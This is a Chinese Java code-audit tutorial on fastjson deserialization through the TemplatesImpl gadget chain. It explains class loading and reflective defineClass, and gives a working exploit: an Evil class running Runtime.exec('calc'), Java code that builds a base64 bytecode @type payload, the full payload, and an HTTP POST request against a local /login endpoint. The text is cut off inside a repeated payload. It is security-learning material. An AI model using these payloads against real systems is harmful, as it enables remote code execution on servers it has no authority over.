Java代码审计17之fastjson反序列化漏洞(2)

1、类加载与反射调用

1.1、类加载

当实例化一个类的过程,会经历下面四步,按照顺序:
1、加载(Loading)
2、链接(Linking)
3、初始化(Initialization)
4、实例化(Instantiation)
另外,在说下:静态块(静态初始化块)

静态块是一个在类加载时执行的代码块,用于执行一些静态初始化操作
。
注意的是,同一个机器,在多次实例化一个类的过程,构造方法会在每次实例化的过程调用,

而静态块仅仅在第一次实例化的过程被调用。

备注:

但是实际测试与上面的理论有一些区别,不知道为什么,简单而言,

static代码块内容,理论在类被加载的时候就会被调用,

实际上,必须在类实例化的时候才会调用

这要注意,Evil类的位置,

我们看到,当类多次实例化,static静态代码块的内容仅仅会在第一次类被加载的时候执行,

在这里插入图片描述

这个就是上面对应的问题,理论上,类被加载的时候,static静态代码块的内容就会被执行,

但是实际测试,看到没有进一步实例化的话,static静态代码块的内容就没执行,

有的同学可能会说,因为 static代码块 的内容仅仅会被执行一次,

是不是上面执行过了,所以没被执行,

在这里插入图片描述
我们在解开注释,发现就好了,这个static代码块的执行确实有点奇怪,
在这里插入图片描述

1.2、测试代码

创建一个evil类,代码如下:

public class Evil {
    static {
        System.out.println("静态代码块");
    }

    {
        System.out.println("构造代码块");
    }

    public Evil() {
        System.out.println("无参构造");
    }

    public Evil(String arg) {
        System.out.println("有参构造");
    }
}

类加载的代码,

package com.example.test;
public class test {


    public static void main(String[] args) throws Exception {

        Class<?> clazz = ClassLoader.getSystemClassLoader().loadClass("Evil"); //把类加载进来
        clazz.newInstance();        //实例化evil类

        System.out.println("-------------");

        clazz.newInstance();

//        System.out.println("-------------");
//        // 获取类的构造函数(假设有一个带有int和String参数的构造函数)
//        Constructor<?> constructor = clazz.getConstructor(String.class);
//        // 创建类的实例,传入参数
//        Object evilInstance = constructor.newInstance("asd");



    }


}

1.3、通过类的加载和反射调用evil类

这个是另一种通过类加载的方式来实例化evil类,


loadClass与defineClass都是 java.lang.ClassLoader 类的方法

但是因为上面的loadClass是public,所以可以直接调用,

但是下面的defineClass是protected,所以需要配合反射机制来调用。


然后仅仅看这两个方法如何触发漏洞,

loadclass是就一个传参可控且被实例化就可以,

defineClass是4个传参可控且被实例化才可以,

protected final Class<?> defineClass(String name, byte[] b, int off, int len);


name:指定要被类加载的类名称。

b:需要被类加载 的 类节码字节数组。

off:即上面数组哪个位置开始加载;一般是0,也就是从头开始

len:要加载的长度;一般是bytes.length,也就是上面数组全部加载

放下理想情况下的代码和执行结果,
在这里插入图片描述

package com.example.test;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class test {

    public static void main(String[] args) throws Exception {

//        Class<?> clazz = ClassLoader.getSystemClassLoader().loadClass("Evil"); //把类加载进来
//        clazz.newInstance();        //实例化evil类
//
//        System.out.println("-------------");
//
//        clazz.newInstance();
//
        System.out.println("-------------");
        // 获取类的构造函数(假设有一个带有int和String参数的构造函数)
        Constructor<?> constructor = clazz.getConstructor(String.class);
        // 创建类的实例,传入参数
        Object evilInstance = constructor.newInstance("asd");


        //通过反射调⽤defineClass

        ClassLoader c1 = ClassLoader.getSystemClassLoader();    //创建类加载对象

        //使用反射机制获取 ClassLoader 类的 defineClass 方法
        Method m = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);

        //设置其访问权限为可访问,这个方法用于定义一个类
        m.setAccessible(true);

        //从文件系统中读取一个类文件,将其存储在 bytes 数组中
        byte[] bytes = Files.readAllBytes(Paths.get("D:\\code\\java\\fastjson\\target\\classes\\Evil.class"));

        //调用 defineClass 方法会将字节码内容转换为一个 Class 对象,并返回给 clazz1
        Class clazz1 = (Class)m.invoke(c1, "Evil", bytes, 0, bytes.length);

        //实例化对象
        clazz1.newInstance();


    }


}


public class Evil {
    static {
        System.out.println("静态代码块");
    }

    {
        System.out.println("构造代码块");
    }

    public Evil() {
        System.out.println("无参构造");
    }

    public Evil(String arg) {
        System.out.println("有参构造");
    }
}

2、Fastjson TemplatesImpl链调试

这里利用到上面的defineClass方法来实现,就是那个比较麻烦的方法。

2.1、链路总览

新建一个类,导入 TemplatesImpl 

跟进到 414 行的 defineClass 

在这里插入图片描述

继续跟进去,就可以看到是 classloader 类的 defineClass 方法,

这里就找到第一个条件:找到一个可控的 defineClass 方法,

在这里插入图片描述
小结下调用链,

defineTransletClasses-》loader.defineClass-》defineClass
从上面看到 defineTransletClasses 是私有方法,也不能直接调用,我们看下哪里调用了他,

发现第一次直接跟,也就是ctrl+点击,无法跟进去,所以右击 查找用法 ,

在这里插入图片描述

然后在跟就可以跟进去了,

这有一个问题是有3处调用,为什么要跟最后一个。因为我们在复现这个调用链,

前人就是从这个调用链打出的伤害,所以我们也照葫芦画瓢,

然后其他的几处,各位有兴趣也可以自己研究下能否走通。
跟进来,会发现存在2个if需要满足,
	
	也就是_name不能为null,_class需要为null

在这里插入图片描述

稍微跟一下 _name 和 _class 都是默认就是null,

那么只需要反射设置一下_name的值即可,

在这里插入图片描述

当一切顺利的话,运行完毕451行完成类加载,在455行就运行了newInstance来实例化类。

即漏洞触发的2个条件都满足,

	~类加载参数可控
	
	~类加载被实例化

在这里插入图片描述

然后,这还一个问题是,446行的getTransletInstance方法仍然不是public,

我们继续找下getTransletInstance在哪个方法被调用,

跟一下到481行的newTransformer方法,是public,ok

在这里插入图片描述
小结整个链,

newTransformer-》

getTransletInstance-》

defineTransletClasses-》loader.defineClass-》defineClass

2.2、调试构造利用链

代码,
package com.example.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class test3 {
    public static void main(String[] args) throws Exception {

        TemplatesImpl temp = new TemplatesImpl();
        temp.newTransformer();
    }
}

打个断点,跟,这个_name默认为空,直接返回,所以使用反射给_name设置一个	值,

在这里插入图片描述

设置完毕_name,继续走,发现395报错,程序退出,
package com.example.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import java.lang.reflect.Field;


public class test3 {
    public static void main(String[] args) throws Exception {

        TemplatesImpl temp = new TemplatesImpl();

        Class aClass = temp.getClass();

        Field filedname = aClass.getDeclaredField("_name");
        //_name是私有变量,所以我们需要绕过
        filedname.setAccessible(true);
        filedname.set(temp,"xbb");

        

        temp.newTransformer();
    }
}

在这里插入图片描述

分析这个 _tfactory 不能为空,我们直接全文搜索下,正常这个值应该赋什么,

在这里插入图片描述

直接反射赋值,再走,	
package com.example.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;


public class test3 {
    public static void main(String[] args) throws Exception {

        TemplatesImpl temp = new TemplatesImpl();

        Class aClass = temp.getClass();

        Field filedname = aClass.getDeclaredField("_name");
        //_name是私有变量,所以我们需要绕过
        filedname.setAccessible(true);
        filedname.set(temp,"xbb");

        Field filebytecodes = aClass.getDeclaredField("_bytecodes");
        byte[] bytes = Files.readAllBytes(Paths.get("D:\\code\\java\\fastjson\\target\\classes\\Evil.class"));
        filebytecodes.setAccessible(true);
        //设置二维数组
        filebytecodes.set(temp,new byte[][]{bytes});

        Field filebtfactory= aClass.getDeclaredField("_tfactory");
        filebtfactory.setAccessible(true);
        filebtfactory.set(temp,new TransformerFactoryImpl());


        temp.newTransformer();
    }
}

还是报错,这个拿到我们传入的恶意类evil,得到其父类,就是object,

但是object肯定不等于 ABSTRACT_TRANSLET ,所以直接走到else的逻辑,进而出错,

在这里插入图片描述

我们使得恶意类继承对应得父类,并实现其中得2个抽象方法,
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet {

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    static {
        System.out.println("静态代码块");
    }

    {
        System.out.println("构造代码块");
    }

    public Evil() {
        System.out.println("无参构造");
    }



    public Evil(String arg) {
        System.out.println("有参构造");
    }
}

在这里插入图片描述

然后记得重新编译下,得到新的evil.class

然后就走完毕了,虽然报错,但是我们恶意得类被加载执行了,

在这里插入图片描述
小结下代码,

package com.example.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;


public class test3 {
    public static void main(String[] args) throws Exception {

        TemplatesImpl temp = new TemplatesImpl();

        Class aClass = temp.getClass();

        Field filedname = aClass.getDeclaredField("_name");
        //_name是私有变量,所以我们需要绕过
        filedname.setAccessible(true);
        filedname.set(temp,"xbb");

        Field filebytecodes = aClass.getDeclaredField("_bytecodes");
        byte[] bytes = Files.readAllBytes(Paths.get("D:\\code\\java\\fastjson\\target\\classes\\Evil.class"));
        filebytecodes.setAccessible(true);
        //设置二维数组
        filebytecodes.set(temp,new byte[][]{bytes});

        Field filebtfactory= aClass.getDeclaredField("_tfactory");
        filebtfactory.setAccessible(true);
        filebtfactory.set(temp,new TransformerFactoryImpl());


        temp.newTransformer();
    }
}

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet {

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    static {
        System.out.println("静态代码块");
    }

    {
        System.out.println("构造代码块");
    }

    public Evil() {
        System.out.println("无参构造");
    }



    public Evil(String arg) {
        System.out.println("有参构造");
    }
}

3、fastjson反序列化TemplatesImpl 利⽤

这个利用链在实战中利用较少,一个原因是有一些限制,

3.1、开启 Feature.SupportNonPublicField 得作用

需要 JSON.parseObject或者 JSON.parse


先看下这个 Feature.SupportNonPublicField 得作用,

先看下正常json反序列化得情况,

在这里插入图片描述

然后把set/get得一些函数给注释,

在这里插入图片描述
因为设置age、username属性得set/get函数去掉了,所以输出为空,
在这里插入图片描述
此时,我们加上 Feature.SupportNonPublicField 再看下,
在这里插入图片描述

相当于开启了给属性增加了set/get得方法。


而上面我们分析 TemplatesImpl 利用链得时候,细心得同学可能发现了,

其对应得类缺少set/get函数,所以,这个链利用得条件就是rd在json反序列化得时候,

增加  Feature.SupportNonPublicField  这个参数,这也是该链利用得前提。

3.2、构造利用payload

直接给出代码,重新构建下evil类,加一个弹出计算器,

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Evil extends AbstractTranslet {

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    static {
        System.out.println("静态代码块");
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }

    }

    {
        System.out.println("构造代码块");
    }

    public Evil() {
        System.out.println("无参构造");
    }



    public Evil(String arg) {
        System.out.println("有参构造");
    }
}

package com.example.test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;


public class test4 {
    public static void main(String[] args) throws Exception {




        byte[] bytes = Files.readAllBytes(Paths.get("D:\\code\\java\\fastjson\\target\\classes\\Evil.class"));
        String code = Base64.getEncoder().encodeToString(bytes);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        String payload = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\"" + code + "\"]," +
                "'_name':'xbb'," +
                "'_tfactory':{}," +
                "\"_outputProperties\":{}}\n";

        System.out.println(payload);

        JSON.parseObject(payload, Feature.SupportNonPublicField);
    }
}

效果正常,
在这里插入图片描述

先说下这里得两个点,

一个是为什么需要base64编码,

这是因为 alibaba\fastjson\parser\JSONScanner.class  在反序列化得时候,有一步骤解码得操作,
public byte[] bytesValue() {
	return IOUtils.decodeBase64(this.text, this.np + 1, this.sp);
}
第二个是多了一个“ _outputProperties ”是干嘛得,

不在跟了,有兴趣直接参考:

https://blog.csdn.net/qq_35733751/article/details/119948833

得到最终得payload,

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQATAoADwAuCQAvADAIADEKADIAMwgANAgANQgANgoANwA4CAA5CgA3ADoHADsHADwKAAwAPQcAPgcAPwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTEV2aWw7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAEABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAA2FyZwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHADsBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAiACMHAEEMAEIAQwEAD+aehOmAoOS7o+eggeWdlwcARAwARQAkAQAM5peg5Y+C5p6E6YCgAQAM5pyJ5Y+C5p6E6YCgAQAP6Z2Z5oCB5Luj56CB5Z2XBwBGDABHAEgBAARjYWxjDABJAEoBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MACIASwEABEV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAA4ADwAAAAAABQABABAAEQACABIAAAA/AAAAAwAAAAGxAAAAAgATAAAABgABAAAADgAUAAAAIAADAAAAAQAVABYAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABAAHQACABIAAABJAAAABAAAAAGxAAAAAgATAAAABgABAAAAEwAUAAAAKgAEAAAAAQAVABYAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiACMAAQASAAAASwACAAEAAAAVKrcAAbIAAhIDtgAEsgACEgW2AASxAAAAAgATAAAAEgAEAAAAIwAEACAADAAkABQAJQAUAAAADAABAAAAFQAVABYAAAABACIAJAABABIAAABVAAIAAgAAABUqtwABsgACEgO2AASyAAISBrYABLEAAAACABMAAAASAAQAAAApAAQAIAAMACoAFAArABQAAAAWAAIAAAAVABUAFgAAAAAAFQAlACYAAQAIACcAIwABABIAAAByAAMAAQAAAB+yAAISB7YABLgACBIJtgAKV6cADUu7AAxZKrcADb+xAAEACAARABQACwADABMAAAAaAAYAAAAWAAgAGAARABsAFAAZABUAGgAeAB0AFAAAAAwAAQAVAAkAKAApAAAAKgAAAAcAAlQHACsJAAEALAAAAAIALQ=="],'_name':'xbb','_tfactory':{},"_outputProperties":{}}

3.3、模拟实际环境

详细请求数据包,

POST /login HTTP/1.1
Host: localhost:8080
Content-Length: 2688
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=580930AAC50A1A850BE624BD09D5DE32
Connection: close

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQATAoADwAuCQAvADAIADEKADIAMwgANAgANQgANgoANwA4CAA5CgA3ADoHADsHADwKAAwAPQcAPgcAPwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTEV2aWw7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAEABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAA2FyZwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHADsBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAiACMHAEEMAEIAQwEAD+aehOmAoOS7o+eggeWdlwcARAwARQAkAQAM5peg5Y+C5p6E6YCgAQAM5pyJ5Y+C5p6E6YCgAQAP6Z2Z5oCB5Luj56CB5Z2XBwBGDABHAEgBAARjYWxjDABJAEoBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MACIASwEABEV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAA4ADwAAAAAABQABABAAEQACABIAAAA/AAAAAwAAAAGxAAAAAgATAAAABgABAAAADgAUAAAAIAADAAAAAQAVABYAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABAAHQACABIAAABJAAAABAAAAAGxAAAAAgATAAAABgABAAAAEwAUAAAAKgAEAAAAAQAVABYAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiACMAAQASAAAASwACAAEAAAAVKrcAAbIAAhIDtgAEsgACEgW2AASxAAAAAgATAAAAEgAEAAAAIwAEACAADAAkABQAJQAUAAAADAABAAAAFQAVABYAAAABACIAJAABABIAAABVAAIAAgAAABUqtwABsgACEgO2AASyAAISBrYABLEAAAACABMAAAASAAQAAAApAAQAIAAMACoAFAArABQAAAAWAAIAAAAVABUAFgAAAAAAFQAlACYAAQAIACcAIwABABIAAAByAAMAAQAAAB+yAAISB7YABLgACBIJtgAKV6cADUu7AAxZKrcADb+xAAEACAARABQACwADABMAAAAaAAYAAAAWAAgAGAARABsAFAAZABUAGgAeAB0AFAAAAAwAAQAVAAkAKAApAAAAKgAAAAcAAlQHACsJAAEALAAAAAIALQ=="],'_name':'xbb','_tfactory':{},"_outputProperties":{}}

在这里插入图片描述

这里注意2点

一个是后端代码,需要增加  Feature.SupportNonPublicField 参数,

第二个是,

一开始我是直接将payload,放到下面得登录用户名得框内,没有弹出计算器很怪异,

其实大家看下上面图中两个紫色线标记得就明白了,

假设将payload放到下图登录框内,在服务器端,payload就变为下面这种,所以无法触发
{"username":"{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQATAoADwAuCQAvADAIADEKADIAMwgANAgANQgANgoANwA4CAA5CgA3ADoHADsHADwKAAwAPQcAPgcAPwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTEV2aWw7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAEABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAA2FyZwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHADsBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAiACMHAEEMAEIAQwEAD+aehOmAoOS7o+eggeWdlwcARAwARQAkAQAM5peg5Y+C5p6E6YCgAQAM5pyJ5Y+C5p6E6YCgAQAP6Z2Z5oCB5Luj56CB5Z2XBwBGDABHAEgBAARjYWxjDABJAEoBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MACIASwEABEV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAA4ADwAAAAAABQABABAAEQACABIAAAA/AAAAAwAAAAGxAAAAAgATAAAABgABAAAADgAUAAAAIAADAAAAAQAVABYAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABAAHQACABIAAABJAAAABAAAAAGxAAAAAgATAAAABgABAAAAEwAUAAAAKgAEAAAAAQAVABYAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiACMAAQASAAAASwACAAEAAAAVKrcAAbIAAhIDtgAEsgACEgW2AASxAAAAAgATAAAAEgAEAAAAIwAEACAADAAkABQAJQAUAAAADAABAAAAFQAVABYAAAABACIAJAABABIAAABVAAIAAgAAABUqtwABsgACEgO2AASyAAISBrYABLEAAAACABMAAAASAAQAAAApAAQAIAAMACoAFAArABQAAAAWAAIAAAAVABUAFgAAAAAAFQAlACYAAQAIACcAIwABABIAAAByAAMAAQAAAB+yAAISB7YABLgACBIJtgAKV6cADUu7AAxZKrcADb+xAAEACAARABQACwADABMAAAAaAAYAAAAWAAgAGAARABsAFAAZABUAGgAeAB0AFAAAAAwAAQAVAAkAKAApAAAAKgAAAAcAAlQHACsJAAEALAAAAAIALQ==\"],'_name':'xbb','_tfactory':{},\"_outputProperties\":{}}","password":"{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQATAoADwAuCQAvADAIADEKADIAMwgANAgANQgANgoANwA4CAA5CgA3ADoHADsHADwKAAwAPQcAPgcAPwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTEV2aWw7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2V